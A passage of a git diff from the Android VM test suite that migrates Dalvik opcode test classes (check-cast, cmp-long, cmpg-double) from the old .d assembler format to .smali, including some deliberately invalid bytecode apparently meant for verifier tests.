diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_8.smali
new file mode 100644
index 0000000..75c8c92
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_8.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_check_cast_8.java"
+.class  public Ldot/junit/opcodes/check_cast/d/T_check_cast_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)V
+.registers 5
+       const-wide v0, 1234
+       check-cast v0, Ljava/lang/String;
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_9.d
deleted file mode 100644
index e44cc10..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_9.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_check_cast_9.java
-.class public dot.junit.opcodes.check_cast.d.T_check_cast_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;)Ljava/lang/String;
-.limit regs 5
-
-       check-cast v4, java/lang/String
-       return-object v4
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_9.smali
new file mode 100644
index 0000000..e6db942
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_9.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_check_cast_9.java"
+.class  public Ldot/junit/opcodes/check_cast/d/T_check_cast_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)Ljava/lang/String;
+.registers 5
+
+       check-cast v4, Ljava/lang/String;
+       return-object v4
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_1.d
deleted file mode 100644
index 60b9654..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmp_long_1.java
-.class public dot.junit.opcodes.cmp_long.d.T_cmp_long_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)I
-.limit regs 14
-
-       cmp-long v0, v10, v12
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_1.smali
new file mode 100644
index 0000000..bbd9bc3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmp_long_1.java"
+.class  public Ldot/junit/opcodes/cmp_long/d/T_cmp_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)I
+.registers 14
+
+       cmp-long v0, v10, v12
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_2.d
deleted file mode 100644
index e3bdfd4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_2.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmp_long_2.java
-.class public dot.junit.opcodes.cmp_long.d.T_cmp_long_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)I
-.limit regs 14
-
-       cmp-long v0, v10, v12
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_2.smali
new file mode 100644
index 0000000..5a39cdf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_2.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmp_long_2.java"
+.class  public Ldot/junit/opcodes/cmp_long/d/T_cmp_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)I
+.registers 14
+
+       cmp-long v0, v10, v12
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_3.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_3.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_3.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_3.smali
new file mode 100644
index 0000000..e52da8a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_3.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/cmp_long/d/T_cmp_long_3;
+.super Ljava/lang/Object;
+.source "T_cmp_long_3.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(JJ)I
+    .registers 14
+
+    const p1, 0x40490e56    # 3.1415f
+
+    cmp-long v0, p1, p3
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_4.d
deleted file mode 100644
index 32c3050..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmp_long_4.java
-.class public dot.junit.opcodes.cmp_long.d.T_cmp_long_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)I
-.limit regs 14
-
-       const v10, 1234
-       cmp-long v0, v10, v12
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_4.smali
new file mode 100644
index 0000000..1cf491a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmp_long_4.java"
+.class  public Ldot/junit/opcodes/cmp_long/d/T_cmp_long_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)I
+.registers 14
+
+       const v10, 1234
+       cmp-long v0, v10, v12
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_5.d
deleted file mode 100644
index 9e86284..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmp_long_5.java
-.class public dot.junit.opcodes.cmp_long.d.T_cmp_long_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)I
-.limit regs 14
-
-       const v10, 1234
-       cmp-long v0, v9, v12
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_5.smali
new file mode 100644
index 0000000..146159a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmp_long_5.java"
+.class  public Ldot/junit/opcodes/cmp_long/d/T_cmp_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)I
+.registers 14
+
+       const v10, 1234
+       cmp-long v0, v9, v12
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_6.d
deleted file mode 100644
index 15ac1cd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_6.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmp_long_6.java
-.class public dot.junit.opcodes.cmp_long.d.T_cmp_long_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)I
-.limit regs 14
-
-       cmp-long v0, v10, v14
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_6.smali
new file mode 100644
index 0000000..6c81296
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_6.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmp_long_6.java"
+.class  public Ldot/junit/opcodes/cmp_long/d/T_cmp_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)I
+.registers 14
+
+       cmp-long v0, v10, v14
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_1.d
deleted file mode 100644
index a76c3b4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpg_double_1.java
-.class public dot.junit.opcodes.cmpg_double.d.T_cmpg_double_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)I
-.limit regs 16
-
-       cmpg-double v0, v12, v14
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_1.smali
new file mode 100644
index 0000000..567b75859
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpg_double_1.java"
+.class  public Ldot/junit/opcodes/cmpg_double/d/T_cmpg_double_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)I
+.registers 16
+
+       cmpg-double v0, v12, v14
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_2.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_2.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_2.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_2.smali
new file mode 100644
index 0000000..cad0675
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_2.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/cmpg_double/d/T_cmpg_double_2;
+.super Ljava/lang/Object;
+.source "T_cmpg_double_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(DD)I
+    .registers 16
+
+    const p3, 0x4048f5c3    # 3.14f
+
+    cmpg-double v0, p1, p3
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_3.d
deleted file mode 100644
index 78d65ac..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_3.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpg_double_3.java
-.class public dot.junit.opcodes.cmpg_double.d.T_cmpg_double_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)I
-.limit regs 16
-
-       cmpg-double v0, v12, v14
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_3.smali
new file mode 100644
index 0000000..eebe149
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_3.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpg_double_3.java"
+.class  public Ldot/junit/opcodes/cmpg_double/d/T_cmpg_double_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)I
+.registers 16
+
+       cmpg-double v0, v12, v14
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_4.d
deleted file mode 100644
index e38307c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpg_double_4.java
-.class public dot.junit.opcodes.cmpg_double.d.T_cmpg_double_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)I
-.limit regs 16
-
-       const-wide v12, 12356
-       cmpg-double v0, v12, v11
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_4.smali
new file mode 100644
index 0000000..04e2a05
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpg_double_4.java"
+.class  public Ldot/junit/opcodes/cmpg_double/d/T_cmpg_double_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)I
+.registers 16
+
+       const-wide v12, 12356
+       cmpg-double v0, v12, v11
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_5.d
deleted file mode 100644
index bd43151..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpg_double_5.java
-.class public dot.junit.opcodes.cmpg_double.d.T_cmpg_double_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)I
-.limit regs 16
-
-       cmpg-double v0, v12, v16
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_5.smali
new file mode 100644
index 0000000..6b10490
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpg_double_5.java"
+.class  public Ldot/junit/opcodes/cmpg_double/d/T_cmpg_double_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)I
+.registers 16
+
+       cmpg-double v0, v12, v16
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_6.d
deleted file mode 100644
index 70c7f72..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_6.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
